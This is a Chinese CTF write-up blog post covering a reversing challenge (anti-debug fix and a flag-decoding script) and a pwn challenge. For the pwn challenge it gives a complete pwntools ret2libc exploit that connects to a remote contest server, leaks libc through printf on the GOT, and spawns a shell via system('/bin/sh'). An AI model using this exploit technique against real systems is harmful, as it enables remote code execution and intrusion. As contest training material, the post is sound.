美文网首页CTF Re&&Pwnwangdingbei
巅峰极客第二场_Re&&Pwn

巅峰极客第二场_Re&&Pwn

作者: Kirin_say | 来源:发表于2018-08-26 21:51 被阅读8次

    0x01 Antidbg

    首先大致定位判断函数:
    可以下断点调试,结合输入观察中断情况找到判断函数
    我是直接看到 其预先定义的数据:

    .rdata:004021B0 xmmword_4021B0  xmmword 100070D020108080D000103040D0303h
    .rdata:004021B0                                         ; DATA XREF: sub_4011A0+7C↑r
    .rdata:004021C0 xmmword_4021C0  xmmword 1050D02070106010206000B07010C06h
    .rdata:004021C0                                         ; DATA XREF: sub_4011A0+68↑r
    

    在sub_4011A0处被调用,大致判断sub_4011A0为目标函数
    找到函数,F5提示:positive sp value has been found
    options->general->查看stack pointer
    发现:

    图片.png
    存在-90,在.text:004012AC处ALT+K修复一下sp指针,直接添负号
    修改后F5看伪代码:
      if ( strlen(Dst) == 42 )
      {
        v1 = 0;
        v3 = xmmword_4021C0;
        v5 = 34080258;
        v4 = xmmword_4021B0;
        v6 = 33882121;
        v7 = 3330;
        while ( Dst[v1] >> 4 == dword_403018[byte_402178[v1]] && (Dst[v1] & 0xF) == dword_402138[*((char *)&v3 + v1)] )
        {
          if ( ++v1 >= 42 )
          {
            v9 = 1667462515;
            v10 = 7566181;
            goto LABEL_8;
          }
        }
    

    很清楚的逻辑,v3v4v5v6v7分别定义,但在内存中连续形成key1,不过dword_403018中值过小,都是2,猜测应该是程序在此前会修改此处,动态调试中(在调试中断点下在if ( strlen(Dst) == 42 )此处能拦截输出,也能说明这就是判断我们输入的地方)导出dword_403018即可:

    key1="060C01070B00060201060107020D050103030D040301000D080801020D0700010206080209000502020d00"
    key2="02020202030101020101020101000101020200010101010001010202000101020201010101010201010300"
    key3="2367"
    flag=""
    for i in range(42):
       l=int(key1[i*2:i*2+2],16)&0xf
       k=int(key2[i*2:i*2+2])
       h=int(key3[k])<<4
       flag+=chr(h+l)
    print flag
    

    0x02 PlainR2B

    程序保护:

        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    

    No canary found且给了libc
    看主要函数:

    int game()
    {
      int result; // eax
      char buf; // [esp+Ch] [ebp-1Ch]
    
      puts("First, what's your name?");
      if ( read(0, &name, 0x14u) > 19 )
      {
        puts("Oh, your name too loooooong...");
        exit(0);
      }
      setbuf(stdin, 0);
      setbuf(stdout, 0);
      setbuf(stderr, 0);
      printf("%s, do you want to get flag?\n", &name);
      read(0, &buf, 0x34u);
      if ( !strcmp(&buf, "yes") || (result = strcmp(&buf, "YES")) == 0 )
        result = printf("OK,the flag is flag{%s}, enmmm... but is true?", "WorkToWeekT_T");
      return result;
    }
    

    buf可以覆盖返回地址
    我们可以分两步:

    1 返回地址覆盖为printf(func_got)/write(1,func_got,4)来leak libc,并将printf/write返回地址设为game_addr用于复用漏洞
    2 复用过程覆盖返回地址为system("/bin/sh")或者one_gadget拿到的execv(注意限制条件)
    

    EXP:
    (题很简单,大部分时间在调exp,很简单的exp,接收发送的数据老是不对劲,不知道是发送接收缓冲区还是题目程序本身的玄学,而且我开始选择elf.got["printf"]中为elf.got["strcmp"],就无法打到正确addr,换成其他函数就可以,不知道为什么)

    from pwn import *
    
    #context.log_level = 'debug'
    #p=process("./pwn")
    elf=ELF("./pwn")
    lib=ELF("./libc-2.23.so")
    p=remote("117.50.60.184",12345)
    p.recvuntil("what's your name?")
    p.sendline("/bin/sh")
    p.recvuntil("flag?")
    payload='A'*28+p32(0xfffde000) +p32(elf.plt["printf"])+p32(0x80485cb)+p32(elf.got["printf"])
    p.sendline(payload)
    p.recv(1)
    printf_addr=u32(p.recv(4))
    system_addr=printf_addr-lib.symbols["printf"]+lib.symbols["system"]
    p.sendline("/bin/sh")
    p.recvuntil("flag?")
    payload2="A"*28+p32(0xfffde000)+p32(system_addr)+p32(system_addr)+p32(0x804a06c)
    p.sendline(payload2)
    p.interactive()
    

    相关文章

      网友评论

        本文标题:巅峰极客第二场_Re&&Pwn

        本文链接:https://www.haomeiwen.com/subject/eydiiftx.html